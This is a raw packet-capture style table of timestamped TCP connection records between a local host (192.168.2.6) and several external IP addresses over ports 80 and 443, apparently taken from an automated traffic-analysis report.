Nov 18, 2024 04:41:33.675610065 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675618887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675632954 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675688028 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679380894 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679425001 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679467916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679485083 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679510117 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679517031 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679526091 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679539919 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679542065 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679569006 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679584026 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679590940 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679600000 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679615974 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679625034 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679636955 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679636955 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679658890 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679675102 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679728031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679744005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679759026 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679776907 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679789066 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679794073 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679822922 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679826975 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679841042 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679874897 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.679979086 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.679995060 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.680027962 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.680041075 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.680058956 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.680073977 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.680082083 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.680088997 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.680092096 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.680108070 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.680119991 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.680121899 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.680133104 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.680150986 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.680165052 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.680174112 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.680191040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.680212021 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.680238008 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.680244923 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.680260897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.680299044 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.703480005 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.703560114 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.703773975 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.706062078 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.706084013 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.706094980 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.706100941 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.712311983 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.712678909 CET	49887	443	192.168.2.6	23.192.223.230
Nov 18, 2024 04:41:33.712696075 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.712723017 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.712753057 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.712805033 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.712999105 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.713013887 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.714365005 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.714427948 CET	49887	443	192.168.2.6	23.192.223.230
Nov 18, 2024 04:41:33.715497971 CET	49887	443	192.168.2.6	23.192.223.230
Nov 18, 2024 04:41:33.715584993 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.715668917 CET	49887	443	192.168.2.6	23.192.223.230
Nov 18, 2024 04:41:33.763323069 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.777553082 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.777632952 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.777686119 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.777806044 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.777825117 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.777834892 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.777839899 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.782027006 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.782061100 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.782200098 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.782444954 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.782459974 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.792999029 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793054104 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793057919 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.793071032 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793088913 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.793106079 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.793109894 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793126106 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793143034 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793160915 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.793195009 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.793478012 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793493986 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793513060 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793538094 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793540001 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.793554068 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793574095 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.793577909 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793595076 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793596983 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.793610096 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793620110 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.793626070 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.793637037 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.793652058 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.793665886 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.804277897 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.804810047 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.804833889 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.805238008 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.805243015 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.814532042 CET	49887	443	192.168.2.6	23.192.223.230
Nov 18, 2024 04:41:33.814539909 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.820554018 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:33.820765972 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:33.820780039 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:33.821824074 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:33.821886063 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:33.822823048 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:33.822886944 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:33.823095083 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:33.823102951 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:33.828233004 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828269958 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828296900 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.828330994 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.828356028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828382015 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828397989 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828399897 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.828408003 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828438044 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.828480959 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.828483105 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828500986 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828526020 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828535080 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.828561068 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.828574896 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.828691959 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828711987 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828727961 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828736067 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.828752041 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.828768969 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.828794956 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828809977 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828824043 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828830004 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.828852892 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.828946114 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828963995 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.828977108 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829003096 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829003096 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829025030 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829041958 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829057932 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829062939 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829081059 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829106092 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829155922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829195976 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829226971 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829242945 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829271078 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829276085 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829287052 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829303026 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829307079 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829329967 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829339981 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829344988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829360008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829366922 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829384089 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829394102 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829399109 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829427958 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829443932 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829466105 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829480886 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829504967 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829518080 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829524994 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829535961 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829556942 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829575062 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829586983 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829605103 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829629898 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829634905 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829647064 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829657078 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829662085 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829678059 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829701900 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829711914 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829727888 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829734087 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829744101 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829842091 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829842091 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829842091 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829854012 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829866886 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829881907 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829898119 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829905987 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829915047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.829938889 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.829953909 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830070019 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830106020 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830111980 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830121994 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830148935 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830168962 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830184937 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830194950 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830202103 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830214024 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830224037 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830233097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830249071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830261946 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830281019 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830311060 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830327034 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830348015 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830363035 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830365896 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830379963 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830380917 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830408096 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830421925 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830430984 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830446005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830461979 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830466032 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830483913 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830521107 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830549002 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830564022 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830578089 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830585957 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830598116 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830605030 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830616951 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830621004 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830636024 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830653906 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830656052 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830672026 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.830674887 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830699921 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.830729008 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.856600046 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.856616974 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.856640100 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.856652021 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.856679916 CET	49887	443	192.168.2.6	23.192.223.230
Nov 18, 2024 04:41:33.856694937 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.856712103 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.856724977 CET	49887	443	192.168.2.6	23.192.223.230
Nov 18, 2024 04:41:33.856741905 CET	49887	443	192.168.2.6	23.192.223.230
Nov 18, 2024 04:41:33.856771946 CET	49887	443	192.168.2.6	23.192.223.230
Nov 18, 2024 04:41:33.859426975 CET	49887	443	192.168.2.6	23.192.223.230
Nov 18, 2024 04:41:33.859447002 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.911695004 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.911725044 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.911737919 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.911768913 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.911797047 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.911808968 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.911824942 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.911840916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.911844015 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.911892891 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.911900043 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.911911011 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.911926031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.911942005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.911956072 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.911962032 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.911974907 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.911993027 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.912009954 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.912108898 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.912122965 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.912138939 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.912154913 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.912163973 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.912170887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.912190914 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.912206888 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.912211895 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.912229061 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.912286997 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.922847986 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:33.934834957 CET	443	49889	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.935475111 CET	49889	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.935497999 CET	443	49889	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.936081886 CET	49889	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.936088085 CET	443	49889	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.939133883 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.939166069 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.939219952 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.939245939 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.939335108 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.939543009 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.939554930 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.939815998 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.939822912 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.942523003 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.942562103 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.942903042 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.943069935 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.943082094 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.947083950 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947098017 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947112083 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947144985 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947170019 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947185040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947197914 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947221994 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.947297096 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947321892 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947339058 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.947354078 CET	80	49833	185.215.113.206	192.168.2.6
